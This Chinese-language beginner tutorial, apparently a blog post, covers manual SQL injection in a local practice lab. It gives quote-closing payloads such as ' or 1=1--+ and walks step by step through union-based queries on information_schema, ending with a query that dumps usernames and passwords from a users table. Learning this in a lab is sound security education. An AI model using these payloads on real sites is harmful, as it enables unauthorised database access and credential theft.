原理:在可以传入的参数的地方(GET,POST,Cookie)带入正常SQL查询语句,对服务器来说就是恶意的代码传入
利用:同SQL注入可以直接有效的获取服务数据库当前用户所能访问的所有信息(需要知道数据库的结构),利用SQL注入的核心是闭合前面的SQL语句,然后执行我们后面的语句。
学习的环境:phpstudy集成环境+SQL注入天书
这个环境默认的MYSQL会存在一个数据库information_schema,里面有3个表存放了所以在当前环境下的数据库的结构
1.columns:存放列信息(名) table_schema table_name column_name
2.schemata :数据信息(名) schema_name
3. tables:存放表信息(名) table_schema table_name
注入点的寻找:
一般寻找跟ID有关的参数带入点,手工尝试是否可以注入,当然也有用工具去扫不一定能扫出来(啊D,明小子)。一般在带有数字参数的地方(id=1)拼接
or 1=1 --+ ; ' or 1=1--+; "or 1=1 --+; ) or 1=1 --+; ')or ;") or 之类的
实战传入正常的ID值
![SQL注入基础篇 SQL注入基础篇](/default/index/img?u=aHR0cHM6Ly9waWFuc2hlbi5jb20vaW1hZ2VzLzkyNS8zMjQ4Yjg0Y2VjZmJmYzlkY2IxYjhkNzJjZDg0YTkzZC5wbmc=)
传入一个否定的语句 1' and 1=2 --+(结尾都需要--+ (就是#号)去注释后面的语句让后面的语句没办法执行,执行我们想执行的语句就OK了)
![SQL注入基础篇 SQL注入基础篇](/default/index/img?u=aHR0cHM6Ly9waWFuc2hlbi5jb20vaW1hZ2VzLzQ2Mi8wYTMzYTFhZDRhZTIwNDg2ZmQ5MDA3NjliN2I1ZDExNi5wbmc=)
获取当前表的数据列 使用 order by
![SQL注入基础篇 SQL注入基础篇](/default/index/img?u=aHR0cHM6Ly9waWFuc2hlbi5jb20vaW1hZ2VzLzIzMi85ODczNDA5MmRlZWFlZTE5MThjMjQ5NGI2YzcyYWI3MC5wbmc=)
当我们输入3的时候回显正确
![SQL注入基础篇 SQL注入基础篇](/default/index/img?u=aHR0cHM6Ly9waWFuc2hlbi5jb20vaW1hZ2VzLzIwMy9lMDM2ZjUwY2QzZmE2MzAzOTNmZTBiYjNhMTcwNTk5My5wbmc=)
当我们输入3的时候回显正确,确定当前有3个列的数据,对应下图的位置
![SQL注入基础篇 SQL注入基础篇](/default/index/img?u=aHR0cHM6Ly9waWFuc2hlbi5jb20vaW1hZ2VzLzY1NC9jNzAwZTY3MGI0ZDZmYTc2ZDI5MDlkNWQ4OGIxMDY3Ni5wbmc=)
可以看到只2个地方是可以回显数据的
注:id=-1是反之前的没有内容回显,好回显我们需要的数据
![SQL注入基础篇 SQL注入基础篇](/default/index/img?u=aHR0cHM6Ly9waWFuc2hlbi5jb20vaW1hZ2VzLzc5OC82ZjlmMjZlZjFjZjI4Njc1YjFiMzk3NjhlOGUzZTAwNi5wbmc=)
注入获取当前数据库和数据库版本
![SQL注入基础篇 SQL注入基础篇](/default/index/img?u=aHR0cHM6Ly9waWFuc2hlbi5jb20vaW1hZ2VzLzcwMC85MTkyMjY3YjI0ZTc0YTZlMDlmZjgyNGIyOWUwNDg5Yy5wbmc=)
获取当前数据库有哪些表
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
![SQL注入基础篇 SQL注入基础篇](/default/index/img?u=aHR0cHM6Ly9waWFuc2hlbi5jb20vaW1hZ2VzLzUxLzc4MjAzZDE0YTM4OWZhMTcxMmY2MzM5ZmU1OTg5YzEzLnBuZw==)
获取users表里面的字段 ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+
![SQL注入基础篇 SQL注入基础篇](/default/index/img?u=aHR0cHM6Ly9waWFuc2hlbi5jb20vaW1hZ2VzLzUwNC85YjI5NTQzZGZiN2RhOWRlODNiYTFlZmEzMDUzOTU2OC5wbmc=)
获取其他用户的信息比如ID=2的
?id=-1' union select 1,username,password from security.users where id =2 --+
![SQL注入基础篇 SQL注入基础篇](/default/index/img?u=aHR0cHM6Ly9waWFuc2hlbi5jb20vaW1hZ2VzLzExNi8zY2RhODc0NGVmZmMzNGE0NDU2YjQ5YTJjYzllOWU1Yy5wbmc=)
小结:这种没有过滤的SQL语句,只要闭合了第一个变量就可以通过正常的SQL语句慢慢注入出我们想要的数据,结尾都需要--+去注释后面的语句让后面的语句没办法执行,执行我们想执行的语句就OK了